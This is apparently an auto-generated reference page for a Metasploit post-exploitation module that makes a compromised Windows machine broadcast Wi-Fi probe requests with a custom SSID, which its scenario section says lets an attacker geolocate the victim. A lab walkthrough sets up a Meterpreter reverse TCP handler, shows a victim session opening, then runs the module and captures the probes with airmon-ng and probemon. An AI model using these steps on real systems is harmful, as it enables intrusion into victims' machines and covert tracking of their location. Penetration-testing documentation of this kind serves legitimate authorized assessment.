Windows Send Probe Request Packets - Metasploit


This page contains detailed information about how to use the post/windows/wlan/wlan_probe_request metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Send Probe Request Packets
Module: post/windows/wlan/wlan_probe_request
Source code: modules/post/windows/wlan/wlan_probe_request.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module send probe requests through the wlan interface. The ESSID field will be use to set a custom message.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/wlan/wlan_probe_request

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/wlan/wlan_probe_request
msf post(wlan_probe_request) > show options
    ... show and set options ...
msf post(wlan_probe_request) > set SESSION session-id
msf post(wlan_probe_request) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/wlan/wlan_probe_request")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


The module send probe request packets through the wlan interfaces. The user can configure the message to be sent (embedded in the SSID field) with a max length of 32 bytes and the time spent in seconds sending those packets (considering a sleep of 10 seconds between each probe request).

The module borrows most of its code from the @thelightcosine wlan_* modules (everything revolves around the wlanscan API and the DOT11_SSID structure).

Scenarios


This post module uses the remote victim's wireless card to beacon a specific SSID, allowing an attacker to geolocate him or her during an engagement.

Verification steps:


Run the module on a remote computer:

msf exploit(ms17_010_eternalblue) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.135.111
lhost => 192.168.135.111
msf exploit(handler) > set lport 4567
lport => 4567
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.135.111:4567 
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.135.157
[*] Meterpreter session 1 opened (192.168.135.111:4567 -> 192.168.135.157:50661) at 2018-04-20 13:20:34 -0500

meterpreter > sysinfo
Computer        : WIN10X64-1703
OS              : Windows 10 (Build 15063).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > background 
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/wlan/wlan_probe_request 
msf post(wlan_probe_request) > set ssid "TEST"
ssid => TEST
msf post(wlan_probe_request) > set timeout 300
timeout => 300
msf post(wlan_probe_request) > set session 1
session => 1
msf post(wlan_probe_request) > run

[*] Wlan interfaces found: 1
[*] Sending probe requests for 300 seconds
^C[-] Post interrupted by the console user
[*] Post module execution completed
msf post(wlan_probe_request) > 

On another computer, use probemon to listen for the SSID:

tmoose@ubuntu:~/rapid7$ ifconfig -a
.
.
.
wlx00c0ca6d1287 Link encap:Ethernet  HWaddr 00:00:00:00:00:00  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tmoose@ubuntu:~/rapid7$ sudo airmon-ng start wlx00c0ca6d1287


Found 6 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
963 NetworkManager
981 avahi-daemon
1002    avahi-daemon
1170    dhclient
1180    dhclient
1766    wpa_supplicant


Interface   Chipset     Driver

wlx000000000000     Realtek RTL8187L    rtl8187 - [phy0]
                (monitor mode enabled on mon0)

tmoose@ubuntu:~/rapid7$ cd ..

tmoose@ubuntu:~$ sudo python probemon.py -t unix -i mon0 -s -r -l | grep TEST
1524248955  74:ea:3a:8e:a1:6d   TEST    -59
1524248955  74:ea:3a:8e:a1:6d   TEST    -73
1524248955  74:ea:3a:8e:a1:6d   TEST    -63
1524248955  74:ea:3a:8e:a1:6d   TEST    -68
1524248956  74:ea:3a:8e:a1:6d   TEST    -74
1524248965  74:ea:3a:8e:a1:6d   TEST    -59
1524248965  74:ea:3a:8e:a1:6d   TEST    -60
1524248965  74:ea:3a:8e:a1:6d   TEST    -74
1524248965  74:ea:3a:8e:a1:6d   TEST    -73
1524248965  74:ea:3a:8e:a1:6d   TEST    -63
1524248965  74:ea:3a:8e:a1:6d   TEST    -63
1524248965  74:ea:3a:8e:a1:6d   TEST    -78

.
.
.

Go back to menu.

Msfconsole Usage


Here is how the windows/wlan/wlan_probe_request post exploitation module looks in the msfconsole:

msf6 > use post/windows/wlan/wlan_probe_request

msf6 post(windows/wlan/wlan_probe_request) > show info

       Name: Windows Send Probe Request Packets
     Module: post/windows/wlan/wlan_probe_request
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Borja Merino <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
  SSID                      yes       Message to be embedded in the SSID field
  TIMEOUT  30               no        Timeout in seconds running probes

Description:
  This module send probe requests through the wlan interface. The 
  ESSID field will be use to set a custom message.

Module Options


This is a complete list of options available in the windows/wlan/wlan_probe_request post exploitation module:

msf6 post(windows/wlan/wlan_probe_request) > show options

Module options (post/windows/wlan/wlan_probe_request):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   SSID                      yes       Message to be embedded in the SSID field
   TIMEOUT  30               no        Timeout in seconds running probes

Advanced Options


Here is a complete list of advanced options supported by the windows/wlan/wlan_probe_request post exploitation module:

msf6 post(windows/wlan/wlan_probe_request) > show advanced

Module advanced options (post/windows/wlan/wlan_probe_request):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/wlan/wlan_probe_request module can do:

msf6 post(windows/wlan/wlan_probe_request) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/wlan/wlan_probe_request post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/wlan/wlan_probe_request) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The SSID must be equal to or less than 32 bytes


Here is a relevant code snippet related to the "The SSID must be equal to or less than 32 bytes" error message:

32:	  def run
33:	    ssid = datastore['SSID']
34:	    time = datastore['TIMEOUT']
35:	
36:	    if ssid.length > 32
37:	      print_error("The SSID must be equal to or less than 32 bytes")
38:	      return
39:	    end
40:	
41:	    mypid = client.sys.process.getpid
42:	    @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)

Couldn't open WlanAPI Handle. WLAN API may not be installed on target


Here is a relevant code snippet related to the "Couldn't open WlanAPI Handle. WLAN API may not be installed on target" error message:

42:	    @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
43:	    @wlanapi = client.railgun.wlanapi
44:	
45:	    wlan_handle = open_handle()
46:	    unless wlan_handle
47:	      print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
48:	      print_error("On Windows XP this could also mean the Wireless Zero Configuration Service is turned off")
49:	      return
50:	    end
51:	
52:	    # typedef struct _DOT11_SSID {

On Windows XP this could also mean the Wireless Zero Configuration Service is turned off


Here is a relevant code snippet related to the "On Windows XP this could also mean the Wireless Zero Configuration Service is turned off" error message:

43:	    @wlanapi = client.railgun.wlanapi
44:	
45:	    wlan_handle = open_handle()
46:	    unless wlan_handle
47:	      print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
48:	      print_error("On Windows XP this could also mean the Wireless Zero Configuration Service is turned off")
49:	      return
50:	    end
51:	
52:	    # typedef struct _DOT11_SSID {
53:	    #    ULONG uSSIDLength;

Wlan interfaces not found


Here is a relevant code snippet related to the "Wlan interfaces not found" error message:

54:	    #    UCHAR ucSSID[DOT11_SSID_MAX_LENGTH];
55:	    # } DOT11_SSID, *PDOT11_SSID;
56:	    pDot11Ssid = [ssid.length].pack("L<") << ssid
57:	    wlan_iflist = enum_interfaces(wlan_handle)
58:	    if wlan_iflist.length == 0
59:	      print_status("Wlan interfaces not found")
60:	      return
61:	    end
62:	
63:	    print_status("Wlan interfaces found: #{wlan_iflist.length}")
64:	    print_status("Sending probe requests for #{time} seconds")

There was an error closing the Handle


Here is a relevant code snippet related to the "There was an error closing the Handle" error message:

77:	    rescue ::Timeout::Error
78:	      closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
79:	      if closehandle['return'] == 0
80:	        print_status("WlanAPI Handle closed successfully")
81:	      else
82:	        print_error("There was an error closing the Handle")
83:	      end
84:	    end
85:	  end
86:	
87:	  # Function borrowed from @theLightCosine wlan_* modules

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Borja Merino <bmerinofe[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.